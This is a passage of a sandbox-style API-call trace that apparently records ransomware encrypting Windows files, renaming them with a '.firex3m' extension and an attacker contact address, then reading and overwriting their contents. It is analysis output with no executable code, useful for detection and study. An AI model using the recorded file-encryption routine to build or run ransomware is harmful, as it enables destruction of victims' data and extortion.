ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9240, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f00 [0255.121] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0255.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\papyrus\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0255.122] GetProcessHeap () returned 0x630000 [0255.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9261) returned 0x73c8410 [0255.122] GetProcessHeap () returned 0x630000 [0255.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9261) returned 0x6f05388 [0255.123] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.123] ReadFile (in: hFile=0x6d0, lpBuffer=0x73c8410, nNumberOfBytesToRead=0x9240, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73c8410*, lpNumberOfBytesRead=0x65fff0c*=0x9240, lpOverlapped=0x0) returned 1 [0259.440] GetProcessHeap () returned 0x630000 [0259.440] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0259.440] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.440] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f05388*, nNumberOfBytesToWrite=0x9240, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f05388*, lpNumberOfBytesWritten=0x65fff0c*=0x9240, lpOverlapped=0x0) returned 1 [0259.441] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.441] WriteFile (in: hFile=0x6d0, lpBuffer=0x6f0e5c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0e5c7*, lpNumberOfBytesWritten=0x65fff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.441] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.441] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x65fff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.441] CloseHandle (hObject=0x6d0) returned 1 [0259.441] GetProcessHeap () returned 0x630000 [0259.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f05388 | out: hHeap=0x630000) returned 1 [0259.441] GetProcessHeap () returned 0x630000 [0259.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73c8410 | out: hHeap=0x630000) returned 1 [0259.442] GetProcessHeap () returned 0x630000 [0259.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0261.212] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffcc4 | out: lpFindFileData=0x65ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60965d97, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9264, dwReserved0=0x9707496, dwReserved1=0x73c8408, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f40 [0261.212] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0261.212] Sleep (dwMilliseconds=0x1) [0261.218] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.scale-200.png", len=0x77 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.scale-200.png") returned 1 [0261.218] GetProcessHeap () returned 0x630000 [0261.218] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c60) returned 0x6fe3bb0 [0261.218] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\StoreLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\storelogo.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.222] Sleep (dwMilliseconds=0x1) [0261.236] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\175.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\175.png") returned 1 [0261.236] GetProcessHeap () returned 0x630000 [0261.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd0) returned 0x6fe3bb0 [0261.236] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\175.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\175.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.240] Sleep (dwMilliseconds=0x1) [0261.251] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\75.jpg", len=0x7c | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\75.jpg") returned 1 [0261.252] GetProcessHeap () returned 0x630000 [0261.252] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dd8) returned 0x6fe3bb0 [0261.252] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\75.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\75.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.261] Sleep (dwMilliseconds=0x1) [0262.880] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\0.jpg", len=0x7b | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\0.jpg") returned 1 [0262.880] GetProcessHeap () returned 0x630000 [0262.880] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d7c) returned 0x6fe3bb0 [0262.880] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\0.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\0.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.882] Sleep (dwMilliseconds=0x1) [0263.882] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\172.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\172.png") returned 1 [0263.882] GetProcessHeap () returned 0x630000 [0263.882] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cc4) returned 0x6fe3bb0 [0263.882] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\172.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\172.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.885] Sleep (dwMilliseconds=0x1) [0263.897] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\165.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\165.png") returned 1 [0263.897] GetProcessHeap () returned 0x630000 [0263.897] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca8) returned 0x6fe3bb0 [0263.897] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\165.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\165.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.899] Sleep (dwMilliseconds=0x1) [0263.912] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\162.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\162.png") returned 1 [0263.912] GetProcessHeap () returned 0x630000 [0263.912] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c9c) returned 0x6fe3bb0 [0263.912] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\162.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\162.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.914] Sleep (dwMilliseconds=0x1) [0263.928] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\160.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\160.png") returned 1 [0263.928] GetProcessHeap () returned 0x630000 [0263.928] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c94) returned 0x6fe3bb0 [0263.928] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\160.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\160.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.929] Sleep (dwMilliseconds=0x1) [0263.943] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\159.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\159.png") returned 1 [0263.943] GetProcessHeap () returned 0x630000 [0263.943] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c8c) returned 0x6fe3bb0 [0263.943] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\159.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\159.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.945] Sleep (dwMilliseconds=0x1) [0263.959] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\157.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\157.png") returned 1 [0263.959] GetProcessHeap () returned 0x630000 [0263.959] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c84) returned 0x6fe3bb0 [0263.959] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\157.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\157.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.960] Sleep (dwMilliseconds=0x1) [0263.975] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\154.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\154.png") returned 1 [0263.975] GetProcessHeap () returned 0x630000 [0263.975] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c78) returned 0x6fe3bb0 [0263.975] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\154.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\154.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.976] Sleep (dwMilliseconds=0x1) [0263.990] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\152.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\152.png") returned 1 [0263.990] GetProcessHeap () returned 0x630000 [0263.990] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c70) returned 0x6fe3bb0 [0263.990] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\152.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\152.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0263.992] Sleep (dwMilliseconds=0x1) [0264.014] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\150.png", len=0x7a | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\150.png") returned 1 [0264.014] GetProcessHeap () returned 0x630000 [0264.014] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c68) returned 0x6fe3bb0 [0264.014] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.015] Sleep (dwMilliseconds=0x1) [0264.029] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\12.png", len=0x79 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\12.png") returned 1 [0264.029] GetProcessHeap () returned 0x630000 [0264.029] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c60) returned 0x6fe3bb0 [0264.029] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\12.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\12.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.031] Sleep (dwMilliseconds=0x1) [0264.045] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\10.png", len=0x79 | out: pbstr=0x65fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\10.png") returned 1 [0264.045] GetProcessHeap () returned 0x630000 [0264.045] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c58) returned 0x6fe3bb0 [0264.045] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\10.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\10.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.047] Sleep (dwMilliseconds=0x1) [0264.061] SysReAllocStringLen (in: pbstr=0x65fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\PREVIEW.GIF", len=0x6f | out: pbstr=0x65fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\PREVIEW.GIF") returned 1 [0264.061] GetProcessHeap () returned 0x630000 [0264.061] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c50) returned 0x6fe3bb0 [0264.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0264.517] CloseHandle (hObject=0x6a0) returned 1 [0264.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.518] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0264.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x65fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x65ffc6c | out: lpFindFileData=0x65ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0264.575] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0264.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0264.575] GetProcessHeap () returned 0x630000 [0264.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x801) returned 0x6ef9cf8 [0264.575] GetProcessHeap () returned 0x630000 [0264.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x801) returned 0x71e558 [0264.575] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.575] ReadFile (in: hFile=0x6a0, lpBuffer=0x6ef9cf8, nNumberOfBytesToRead=0x7e0, lpNumberOfBytesRead=0x65fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef9cf8*, lpNumberOfBytesRead=0x65fff0c*=0x7e0, lpOverlapped=0x0) returned 1 [0264.585] GetProcessHeap () returned 0x630000 [0264.585] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318788 [0264.585] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 